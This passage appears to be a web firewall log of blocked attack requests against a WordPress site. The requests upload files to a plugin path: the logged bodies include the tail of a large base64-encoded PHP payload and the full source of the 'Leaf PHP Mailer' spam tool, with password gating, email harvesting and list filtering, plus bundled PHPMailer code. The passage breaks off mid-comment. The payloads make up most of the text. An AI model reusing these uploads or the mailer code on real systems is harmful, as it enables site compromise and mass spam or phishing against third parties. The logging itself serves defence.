JUVl3UkJCUFlaaGFYbWdjR0loV1RYaEtJdmUwYU14YmJtOXE4R3FnekdsQlpqRWRkeWlqRU5hRUxua1VBTHB4Y0xNQ2JVdmx3bDFKaFFXNHdLaVRHaE94NXFVRVozeFpzYUFPQ1A1RFg3MzFBbDByWEd1Q2tocnVlbEpIcmhHVlhWcXBzcUxFanRZZVdud2U1T0pDd3dzMWl4TXVpMFhhZkRVcExsRXNoazJvNjNLOWk4L3FTU2pkbzEvL1NhYXEzaXVVU0xGY2tuUnRKS3MxVnJOSm1hd3RXVUt2MkVPVWZZcGljSVM4UWpxakhTSU45czU3czhmbDdFVUZ4Y1RDdVN2NjYvcWh2Q3BqU1VLb09SQ3FlZVZCRXhGM0pBMFZnb1oxenFvR1JVM0FWRitQaXVSOXRxUXJzYkx4MUFZeE9ocTFWUWNkUFRZdXMwT2hjOTBCSnBnNkRVRUJraVFwYWlwWXhSNFdoVkpuWEY5NlN6N2txM2EvWFEwazk2TUdyQjlBclhXVXlWd3dPOXZHRy9Mbk0rQ2JtRmJ6SzN1V0xlakw4MFlWSFhNZ0dxVlYwUGE2T1Zsdm84V2J2RXNYY3FkU2pmdmVnOW03Yk1TWHZUQnhFMDI5U2JlNk5pR1plcG5oUWtVNGp6bXg3Z0RZVTNibFJGazNrZTloUzNjeFJSVCs3bFhwRGF0QjlrTkI5MHMzcHlBdWx6amphcWpPd0owUUxFZmJibGJYbHVscWZyNjZuMysrTnUyMXp4TVNXeFk1TmRoc0NTNkt0UTQ3ckVTSldyWk9oZ3RMdVdqUDBwOHNxUnE1TmtjZG93TTlvK1MxcWdZelkxaldJSWgwdHpqaVlETGlNanNHd2h5dnJ1OU4zaEE2ellJaWxFYnRJZS9sSk9wNG15MGVTUUlzS1FaZElsRDZJU1dhMGlMQ1lzOEtsb0RIeS9MMUNackpDQ2l5cjBQbVFtTFArcHVFQ2hybVhqV0pQa1NGWkt3VWVXZVFzNjAxMTJIbXBPdncyZ2psZVVlYVYwMkFEdXA0ZmkvcVlqZHdScVJadTJ6UkhzV1ZxZEMyRmZRUS9CUElhb05NVS9DTEFaSHloRXpzY2pEeEFwdTQ4WFUxeno2WFNXMFZsdHF1TWFXUndaMlI5bFovalJSbHhqVDM5YnVWdHJvem1sMW15V3RlMnB3amN1RGxlMEFCZ1J1WGpJaGVUUmthYjc4OGdpY1VDWk9IbVUzSGlEVEh4QkZHN1hqb2Q5ZzlGRFRtYlprK2hrU0k1SjRvUW81cGFsd2tpVjl1YU9NSlRpcUtmdXUvei94NG5KNDhURCs1T09qL21ha0ZqS05ObllpT3lTRmFJZ0kzYVRHNGZrcEpVYkF1SkdSbUJmV05QK3VnTktMVERKWkxsb3VhQ3pSa2FuZjlFMlBwNWlEZWpSdXdyeFFrM1pYdE5paHpJQW1weC9MTWRmNXJtckFyK3J5YStmaWtpZWpPZXBoL2tDdzJXSVhKaEdIb05iNkJIMnMwWnQ4M3gvOWNLZ1FxSFhHM1o5TzdVZ240VzRacEoyYzNSMldEWE9UamRyaDFVMDgzQlVrTDgvVUU0UUNZaGw2UFRvVVQ4dDR0cFlSdVM3a2pGa2FYK2F1clhYQWpoS3VQcDB4bTNNeElSdWZpNlhRTFlST1lscFJDUmVJaTJqQW9ManRJN0ZMVmhTVmFNMktuUFc4VGFNRGoxNDNZcVU5QlFBZU8zZ2Flc1VFOXV2SGl1eGJQNHpUcnQvR3B2N2E2dG54dWJaNnVicHVuRjV0Sk5zaDV2aU1YeXJkVEtFM2UxUjRhZ1Z1Ymk4bXhVcVM5NUpHK2J0OXNGU1NkNlpFYVlKOU4zQUhkSFpIRlJoOUtBQ01wL2E1aWdZWGhpTStoV2o0OFBuMGU2V3dlaWhuU2g1dDk0dHkweGdLTjlQUVJMRFBTTXlRc3ZjOEIrdVFSNVQ2MVBwK09KWUVkWFlxdFdlVStrcWtLd2lMQ1JubmpxZDN5eUxvTFBvYk1CSGpsSDdrdVE4TThtdmtCNFh4QmZtWHlhYngvUEFERjRWNUdBaXNOSk9RU1AwQ2hRRW9tWnk1cldaUEVIRytGeFdxTkNBeUg1ay9vbUF1WFVKLzR6TjhwLzZQS2ZFd25WS2hGSEhIQXhFNWE5cDAxNTJWNlcvaytJQUlRMDhOeDRZbldVd0lXTlNjZ2lENGJJUldRdmZKMHcwcmhXU0xENC9NTHdBYWlVWWNzSDR1OHEwYUNyQjk2bzBvcW5IYUNJSzlZSzNONHZ4b3lUekNXZ1ZZbGxHc3orU011TmVGQWNZVlVyUmxoNEdXSElOOTRLakllWitWdEhoZnNxU2M3eDFIcXpEN241My9VWTZwT1J5ZldRZDd6WmlIWjRmaUYvNEovckpvQjViaTcxZEVLZjBrRE8xUkJvbXg4QUkvSDR6T1RtcmkyNTlBMVpEL3BEVFRPNGNYVnBFK3VtRTFaSkxPaGZGL1N1RFVRZGl3b2s2dzZpQVZDdmt3S05vM2FpSFkxQnA2Q0VkNEpqQXUrZjNXM3l2S1ZRNzRRTEJVendtbGpHU1FhTGU5ZkhST3N0eHZ6dWVCbHE4MXNWOUprR0k3ZnRkakZwQWo1UVZSU2xkd2swU3pRblRzY255U05JYnEwZjd5Y05vWXBVWUtlVUl2cEczS0l1bTJKQy94RkFLWlo1aU0wK2JhQUtIRmw2ZVYzUGdPVzRYRTJhSDlYYndOWVpLc3VzL0pTUnhDSFc2dXJPT3p3UkxhUkpaYTFIbTVTVDFrN2NuaEZFVUZDaG5UbnllOEpFVklibmZRYWxJTjM0VHJlZ0VwejZBMFh5VklxcDB2Q3R2Ulk4cXZ3bXJES2ErdFFhV1hlZWIyZDhNcStkMDdMQk9FeHNkSmt6eEJxRlphRnJ4M01tQ1R0K0I2Y3I5QlFhemt4WEVmTU9nNkZTZVpsMG1SU2xLNDkxSjhwZzFtbkxUVkt0Zm5BR2F5OFFicVRjd2wzOEQ2UTRDMUlGYUdNR1VmRWR3TjRJQlRZR3NKRUN3OC9nNWJkYStwK2VaVUlMbW5VOEFlbmQvYVIrbWQ3YlMzZnJjaGcwYlBmUXpGUW04WHlwZVg0Tm9INTBjU1M4TERmMEtyS1dZeGF1T0FiSTR6RCt3SVh6VEczcDE0YzVHNnUvVjNmd0NhTnNFTUxtRDVxcWM3Y01lVHFoeXI4K2FpU3EvTUg4cTFDOUd1Q2tQZmc3dkY0VWlIeUtPL2pzR21zc1lxaWw2OFdjNE80TDJoajc4Rk9xUkprRnhHOXhvMW1uZUNvVGVKVElKQU5WL1VWbnh6M291QmtVcExIclJsWWdrT3BtZk9KOEE1bzlsK3NQNGlYdDkrQ211d2dYR1QzVGZnaGY0TUg1aXFsN1l1OE52ZnFYdDUvZUMrZzJQak56dmkwSFNCNDhTakg0KzJBT2VJTnhpZWdqaHlhaUFSTGRVbnB0SERVYzB5aTBrNG0reC9kbmU5ekJMRGoyRWRrSmw4MlpGNU1qallVdm9aZVd5ZjFVOGdBMGNmMHpYSWxKSXhYL25PWFZnclVTYUdIa09WUFZac2RkRXQ5K3FsTkpZdk5oS2ZNeDV2aHJLV3hNdDd6bEtjWU5aMWdEbjBQUFg2L1dvR3VNaW8yODlRbC81NFMvL2t5RGhuejhNNllwTkJ3K1ZoZGJaeVlQQnlJNzZpaVUzMVgxUE1IaDdyM2ovYkRCNjZKYmM4VVJHQ0txZVpqTlVCdW4vQXlINy84cGcvWkZsVk9aNVNDc2pUNnQ1d2VMMGd0MkgybXZCL3Q4UzVsOTRGZXZaUnVTeGpGZ2NOOVFMZVRWV3ZVRDczNzc2QlR5NkUxVU94bWRxb0JEK1JJYnNSQVp0NFo1cHdzb0RQTXc5aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--2cc0570e1e2a7777b3bc8e1d13f5dbea\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--2cc0570e1e2a7777b3bc8e1d13f5dbea\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--2cc0570e1e2a7777b3bc8e1d13f5dbea\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--2cc0570e1e2a7777b3bc8e1d13f5dbea--\r\n"]
["2026-05-26 21:53:44","170.205.30.68","POST","\/wp-content\/plugins\/gfrmz\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/gfrmz\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=4d19cb7ea8263730fce9b19d51dee65e\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--4d19cb7ea8263730fce9b19d51dee65e\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--4d19cb7ea8263730fce9b19d51dee65e\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--4d19cb7ea8263730fce9b19d51dee65e\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ocrkg.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force 